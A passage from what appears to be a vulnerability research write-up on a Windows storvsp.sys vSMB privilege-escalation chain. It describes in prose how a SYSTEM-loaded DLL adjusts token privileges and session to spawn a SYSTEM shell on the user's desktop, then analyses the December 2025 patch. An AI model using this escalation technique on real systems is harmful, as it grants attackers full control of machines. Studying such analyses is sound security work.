This implementation retrieves the active console session ID via WTSGetActiveConsoleSessionId() and opens the current process token. Since the DLL is loaded by a SYSTEM process, the token carries SeTcbPrivilege, which is enabled via AdjustTokenPrivileges(). This privilege is required for the subsequent SetTokenInformation() call which changes the duplicated token’s session from 0 to the active console session.
Finally, cmd.exe is spawned via CreateProcessAsUserW() using the duplicated token. The lpDesktop field of the STARTUPINFOW structure is set to winsta0\default, the interactive desktop within the active console session. This ensures the command shell appears on the user’s desktop while running under a SYSTEM token, completing the privilege escalation chain.
The December 2025 security updates brought several patches to storvsp.sys. Notably, the OBJ_FORCE_ACCESS_CHECK flag is now enforced for file operations when the HasWriteAccessfield is set.
However, the killing blow for the vulnerability is the introduction of the VspVsmbIsUserTrusted() check within the VspVsmbFileCreate() function. Now, whenever a user calls the CreateFileW() API with a vSMB share as the target path, the driver verifies whether the calling process is an administrator or running as NT AUTHORITY\SYSTEM. In the patched VspVsmbFileCreate() function, when a handle is opened without FILE_WRITE_DATAaccess, VspVsmbIsUserTrusted() is invoked. If the caller is not trusted, the operation is denied:
if ( (SecurityContext->DesiredAccess & FILE_WRITE_DATA) == 0 )
{
if ( !VspVsmbIsUserTrusted(IRP) )
{
// "Only trusted users can access the vSMB share root"
Status = STATUS_ACCESS_DENIED;
goto LABEL_73;
}
}
This breaks the exploit chain at Stage 1. A low-privileged user can no longer obtain a vSMB share handle to a privileged directory with FILE_READ_DATA only. Without this handle, the IOCTL request in Stage 2 cannot be issued, and the chain collapses.
About Exodus Intelligence
Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild. Our researchers create and use in-house agentic AI tooling to supplement parts of their vulnerability research and exploit development workflow. In addition to efficiency gains, we’re able to ensure AI-enabled research output maintains the same standards of quality as traditional research.
For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.